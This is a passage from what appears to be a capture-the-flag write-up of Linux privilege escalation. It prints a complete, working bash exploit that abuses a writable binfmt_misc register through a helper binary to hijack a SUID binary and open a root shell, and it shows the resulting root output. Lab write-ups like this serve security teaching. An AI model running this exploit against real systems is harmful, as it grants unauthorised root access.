lrwxrwxrwx 1 root root    9 Oct 13  2021 .bash_history -> /dev/null
-rw------- 1 dev  dev   220 Aug  4  2021 .bash_logout
-rw------- 1 dev  dev  3526 Aug  4  2021 .bashrc
drwxr-xr-x 3 dev  dev  4096 Mar 11 14:36 .local
-rw------- 1 dev  dev   807 Aug  4  2021 .profile
drwx------ 2 dev  dev  4096 Mar 11 14:36 .ssh
drwx------ 2 dev  dev  4096 Mar 11 14:36 activate_license
drwx------ 3 dev  dev  4096 Mar 11 14:36 emuemu
-rw-r----- 1 root dev    33 Apr 29 04:03 user.txt

The emuemu directory:

dev@retired:~/emuemu$ ls -la
total 68
drwx------ 3 dev dev  4096 Mar 11 14:36 .
drwx------ 6 dev dev  4096 Mar 11 14:36 ..
-rw------- 1 dev dev   673 Oct 13  2021 Makefile
-rw------- 1 dev dev   228 Oct 13  2021 README.md
-rw------- 1 dev dev 16608 Oct 13  2021 emuemu
-rw------- 1 dev dev   168 Oct 13  2021 emuemu.c
-rw------- 1 dev dev 16864 Oct 13  2021 reg_helper
-rw------- 1 dev dev   502 Oct 13  2021 reg_helper.c
drwx------ 2 dev dev  4096 Mar 11 14:36 test

The emuemu binary is also found at /usr/lib/emuemu/:

dev@retired:~$ ls -la /usr/lib/emuemu/
total 28
drwxr-xr-x  2 root root  4096 Mar 11 14:36 .
drwxr-xr-x 54 root root  4096 Mar 28 11:12 ..
-rwxr-x---  1 root dev  16864 Oct 13 02:59 reg_helper

We can read the source-code, not very interesting though:

emuemu.c
#include <stdio.h>

/* currently this is only a dummy implementation doing nothing */

int main(void) {
    puts("EMUEMU is still under development.");
    return 1;
}

We also see a reg_helper binary there and we can have a look at the source-code. The interesting part here is that this file is owned by root! /home/dev/emuemu/reg_helper.c:

reg_helper.c
#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    char cmd[512] = { 0 };

    read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;

    int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
    if (-1 == fd)
        perror("open");
    if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
        perror("write");
    if (close(fd) == -1)
        perror("close");

    return 0;
}

It seems that the reg_helper is using /proc/sys/fs/binfmt_misc/register to run some commands. At first I didn't know much about binfmt_misc so I did a bit of research and learn the basics of usage.

Based on Wikipedia, binfmt_misc (Miscellaneous Binary Format) is a capability of the Linux kernel which allows arbitrary executable file formats to be recognized and passed to certain user space applications, such as emulators and virtual machines.It is one of a number of binary format handlers in the kernel that are involved in preparing a user-space program to run.

We can check how EMUEMU is used:

dev@retired:~$ cat /proc/sys/fs/binfmt_misc/EMUEMU 
enabled
interpreter /usr/bin/emuemu
flags: 
offset 0
magic 13374f53545249434800524f4d00

So files that starts with that "magic" signature will be interpreted by /usr/bin/emuemu.

# Road to root

During my research I found this github repository which is a POC to exploit this functionality. We can make a copy of that and do some modifications to make it work for us. Modify the last line:

# Original
echo "$binfmt_line" > "$mountpoint"/register

# Modified
echo "$binfmt_line" | /usr/lib/emuemu/reg_helper

Final exploit:

#!/bin/bash

readonly searchsuid="/bin/"
readonly mountpoint="/proc/sys/fs/binfmt_misc"
readonly exe="$0"


warn()
{
    1>&2 echo $@
}

die()
{
    warn $@
    exit -1
}

usage()
{
    cat 1>&2 <<EOF
Usage: $exe
    Gives you a root shell if /proc/sys/fs/binfmt_misc/register is writeable,
    note that it must be enforced by any other mean before your try this, for
    example by typing something like "sudo chmod +6 /*/*/f*/*/*r" while Dave is
    thinking that you are fixing his problem.
EOF
    exit 1
}

function pick_suid()
{
	find "$1" -perm -4000 -executable \
	    | tail -n 1
}

function read_magic()
{
    [[ -e "$1" ]] && \
    [[ "$2" =~ [[:digit:]]+ ]] && \
    dd if="$1" bs=1 count="$2" status=none \
        | sed -e 's-\x00-\\x00-g'
}

[[ -n "$1" ]] && usage

target="$(pick_suid "$searchsuid")"
test -e "$target" || die "Error: Unable to find a suid binary in $searchsuid"

binfmt_magic="$(read_magic "$target" "126")"
test -z "$binfmt_magic" && die "Error: Unable to retrieve a magic for $target"

fmtname="$(mktemp -u XXXX)"
fmtinterpr="$(mktemp)"

gcc -o "$fmtinterpr" -xc - <<- __EOF__
	#include <stdlib.h>
	#include <unistd.h>
	#include <stdio.h>
	#include <pwd.h>

	int main(int argc, char *argv[])
	{
		// remove our temporary file
		unlink("$fmtinterpr");

		// remove the unused binary format
		FILE* fmt = fopen("$mountpoint/$fmtname", "w");
		fprintf(fmt, "-1\\n");
		fclose(fmt);

		// MOTD
		setuid(0);
		uid_t uid = getuid();
		uid_t euid = geteuid();
		struct passwd *pw = getpwuid(uid);
		struct passwd *epw = getpwuid(euid);
		fprintf(stderr, "uid=%u(%s) euid=%u(%s)\\n",
			uid,
			pw->pw_name,
			euid,
			epw->pw_name);

		// welcome home
		char* sh[] = {"/bin/sh", (char*) 0};
		execvp(sh[0], sh);
		return 1;
	}
__EOF__

chmod a+x "$fmtinterpr"

binfmt_line="_${fmtname}_M__${binfmt_magic}__${fmtinterpr}_OC"
echo "$binfmt_line" | /usr/lib/emuemu/reg_helper

exec "$target"

And we are root!

# id
uid=0(root) gid=1001(dev) groups=1001(dev),33(www-data)
# ls -la /root
total 28
drwx------  3 root root 4096 Mar 11 14:36 .
drwxr-xr-x 18 root root 4096 Mar 11 14:52 ..
lrwxrwxrwx  1 root root    9 Oct 13  2021 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
drwxr-xr-x  3 root root 4096 Mar 11 14:36 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rwxr-xr-x  1 root root  135 Mar 11 13:22 cleanup.sh
-rw-r-----  1 root root   33 Apr 29 04:03 root.txt